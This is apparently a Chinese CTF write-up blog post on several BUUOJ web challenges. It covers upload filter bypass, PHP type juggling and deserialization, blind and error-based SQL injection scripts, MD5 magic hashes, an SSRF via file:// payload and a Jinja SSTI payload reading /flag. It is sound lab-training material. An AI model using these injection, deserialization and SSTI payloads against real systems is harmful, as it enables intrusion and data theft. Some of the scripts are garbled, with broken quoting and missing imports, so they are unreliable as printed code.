[ACTF2020 新生赛]Upload
注意到鼠标移动到中间就能上传了,再看看这边验证似乎使用的是main.js,前端验证
看看代码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}
phtml老套路绕过
那我们传个获取flag的文件上去
[极客大挑战 2019]BuyFlag
Menu拿到菜单,里面有个Payflag
那么我们可以看下源码,注意到里面有一个关键点
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
传一个POST型的404过去,Cookie中的user改成1
感觉有点奇特,在浏览器看看
然而没看出来,百度wp得知参数叫money。。。
操作一下拿flag
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
其中useless.php已经存在了,猜测我们需要读取这个php的内容
用了include,猜测可以使用php伪协议。
还原为源码后,得到以下内容
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
直接反序列化,完事(echo的时候会调用__tostring方法)
那么就本地写个php
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{893bb611-81d7-4664-80ca-aa03d085b71d}");
}
?>
注意这里file要include一下useless.php,不然就没有类去让你反序列化了。
[CISCN2019 华北赛区 Day2 Web1]Hack World
可以发现过滤了一些字符,比如/*,空格,--+等
然后不会了,看了下wp可以异或+布尔盲注
然后今晚更新了下以前写的布尔盲注的脚本,以后有空再加个二分的功能,总之感觉不错
import sys
import requests
import string
import time
config_html = 'http://f5c6207a-3b86-46f0-b7bf-6317ab65d106.node3.buuoj.cn/index.php'
config_method = 'POST'
config_key = 'id'
config_data = {
'id' : '{0}'
}
config_length = '0^(char_length({0}){1})'
config_line = '0^({0}{1})'
config_success_flag = 'Hello, glzjin wants a girlfriend.'
config_failed_flag = 'Error Occured When Fetch Result.'
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.digits + 'abcdeflg' + '{}-'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))
print(config_data_range)
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def concat_line_length(cmd,i):
return config_length.format(cmd,'>=' + str(i))
def concat_line_value(cmd,ret,i):
return config_line.format(cmd,'>=' + 'CHAR(' + ','.join(ret) + ',' + str(ord(i)) + ')')
def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
continue
else:
print('[+] {0} length: {1}'.format(cmd,i - 1))
return i - 1
print('[-] Search Length Failed...')
return 0
def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length-len(preline)):
last = ''
fg = False
for i in config_data_range:
ret2 = []
for j in ret:
ret2.append(str(ord(j)))
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_value(cmd,ret2,i))):
last = i
continue
else:
fg = True
ret.append(last)
last = ''
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret
def flag(db_column,db_table):
cmd = "(SELECT({0})FROM({1}))".format(db_column,db_table)
data_length = get_length_line(cmd)
#data_length = 42
return get_value_line(cmd,data_length,'flag{')
flag('flag','flag')
[BJDCTF2020]Easy MD5
输入一个东西会变成一个password的GET参数,没看出来啥,先扫一遍目录再说
扫不出来,burp卡一下看看
好,ffifdyop完事
跳转后看到以下源码
注意是弱比较,使用一些特殊的MD5即可绕过
比如:
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s532378020a 0e220463095855511507588041205815
240610708 0e462097431906509019562988736854
0e会被当成科学计数法来解析,从而判断相等
然后我们来试试最后一步,得到源码
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
?>
这把是强判断,不过PHP中MD5函数会在解析错误时返回null,两个null是相等的。
试一下:
[网鼎杯 2018]Fakebook
robots.txt泄露了备份文件,从而拿到代码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
}
}
?>
发现使用curl来进行传输,不过无法得到外网的内容,应该不是用http协议
然后我不会了,查一波题解
好吧,可以用get型注入,确实没看到
试一下,可以用命令时间盲注
2222/**/OR(sleep(1))OR%20%271%27%27%27
再去看看题解,也可以报错注入,毕竟回显了错误信息。
不过经过尝试,也可以用以下命令:
2222/**/OR(sleep(1))%20/*!UNiOn*/%20SelEcT%201,2,3,4%20OR%20%271%27%27%27
但是会触发unserialize的错误,所以暂时不这么操作。
那么我们用extractvalue来获取一下
import requests
config_html = 'http://fe03fad7-a5ad-487d-814d-96caa0befc45.node3.buuoj.cn/view.php'
config_method = 'GET'
config_key = 'no'
config_line = 'extractvalue(1,concat('~',(select(group_concat({0})))))'
config_data = {
'no' : '{0}'
}
config_cookies = {
'PHPSESSID':'d6oj11jl7otnel1nr3koa0fpb4'
}
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
def preg_text(s):
return s.split('(XPATH syntax error: '')[1].split('')')[0]
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
try:
print(preg_text(r.text))
except IndexError:
print(r.text)
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def use_get(cmd):
get(url = config_html,data = cfg_data(config_line.format(cmd)))
发现了反序列化,同时是在第四列出现的
那么我们用之前的UNION Payload构造反序列化即可
=2222/*!UNiOn*/SelEcT%20'aaaaa',2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
<?php
$flag = "flag{4de3f494-54d1-46d8-94b3-6f13fa0ea7f5}";
exit(0);
?>
[强网杯 2019]高明的黑客
提示了备份文件,我们下载看看
下载完后发现一大堆混淆
认真看其中的一个php文件,你会发现有很多无效代码(比如先给GET赋值为空再eval,exec一些不能执行的值等等),猜测flag藏在里面的某个文件里。
用shell操作一番
cat *.php | grep "flag"
没有合适的结果,猜测可能要用这堆文件中的某个shell。
脚本硬跑
import sys
import os
import requests
import string
import time
import re
config_html = 'http://4839c2b7-ec12-4663-a3df-6fb4ee94d102.node3.buuoj.cn/'
config_data = dict()
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.digits + 'abcdeflg' + '{}-'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))
def get(method,url,data):
if method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
return r
def cfg_data(d):
data = config_data.copy()
for k,v in d:
data[k] = v
return data
def get_real_val(line,s):
sp = re.search('(?<=_{0}[)[S]*(?=])'.format(s),line).span()
now = line[sp[0]:sp[1]]
if now[0] == ''' or now[0] == '"':
now = now[1:-1]
return now
def search_line(text):
dc_get = dict()
dc_post = dict()
for line in text:
if '_GET[' in line:
dc_get[get_real_val(line,'GET')] = 'echo 'last_encore';'
if '_POST[' in line:
dc_post[get_real_val(line,'POST')] = 'echo 'last_encore';'
if '_REQUEST[' in line:
dc_post[get_real_val(line,'REQUEST')] = 'echo 'last_encore';'
return dc_get,dc_post
def send_message():
file_list = os.listdir('./src/')
for web in file_list:
io = open('./src/' + web,"r")
dc_get,dc_post = search_line(io.readlines())
#print(config_html + web)
#print(dc_get)
#ret_get = get('GET',config_html + web,dc_get).text
#print(ret_get)
#break
ret_get = get('GET',config_html + web,dc_get).text
ret_post = get('POST',config_html + web,dc_post).text
time.sleep(config_retry_time)
if 'last_encore' in ret_get or 'last_encore' in ret_post:
print('[+] {0} OK!'.format(web))
break
print('[-] {0} Failed...'.format(web))
send_message()
[极客大挑战 2019]HardSQL
报错注入,有一些过滤
空格过滤用括号绕过
等于号过滤用LIKE绕过
出flag用left和right绕过
拼接flag即可
import requests
config_html = 'http://71c32890-1358-4324-a190-a553b050b827.node3.buuoj.cn/check.php'
config_method = 'GET'
config_key = 'password'
config_line = 'extractvalue(1,concat('~',(select(group_concat({0})))))'
config_data = {
'username':'Init',
'password':'new_world'OR({0})#'
}
config_cookies = {
'PHPSESSID':'Nothing'
}
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
def preg_text(s):
return s.split('XPATH syntax error: '')[1].split(''')[0]
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
try:
print(preg_text(r.text))
except IndexError:
print(r.text)
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def use_get(cmd):
get(url = config_html,data = cfg_data(config_line.format(cmd)))
[BJDCTF 2nd]fake google
进入后看到一个搜索框,随便输点东西就会在新页面显示这个东西。利用script可以实现XSS。
新页面源码提示SSTI,我们可以输入{{}}来观察,发现启动了Internal Server Error。猜测可能是Python后端,用一下Python的SSTI Payload。
{{().__class__.__bases__[0].__subclasses__[75].__init__.__globals__.__builtins__[%27open%27](%27/flag%27).read()}}
一把成功,还真是这样。。。
[GXYCTF2019]BabySQli
访问下,貌似有个提示,解密一下
Base32解密第一层,得到
再Base64解密第二层,得到
select * from user where username = '$name'
也就是说password没啥用,只有username进来了,读取所有的东西
猜测会提取出其中的密码,和md5密码进行比较,而PHP的MD5函数存在漏洞,试一把
果然和我想法一样,但是应该不是数组的绕过方式,思考一下有没有别的解决方法
换个套路,使原来的用户不存在,重新SELECT一个新的用户和密码MD5,输入一个密码等于MD5(随便算的)
Comments NOTHING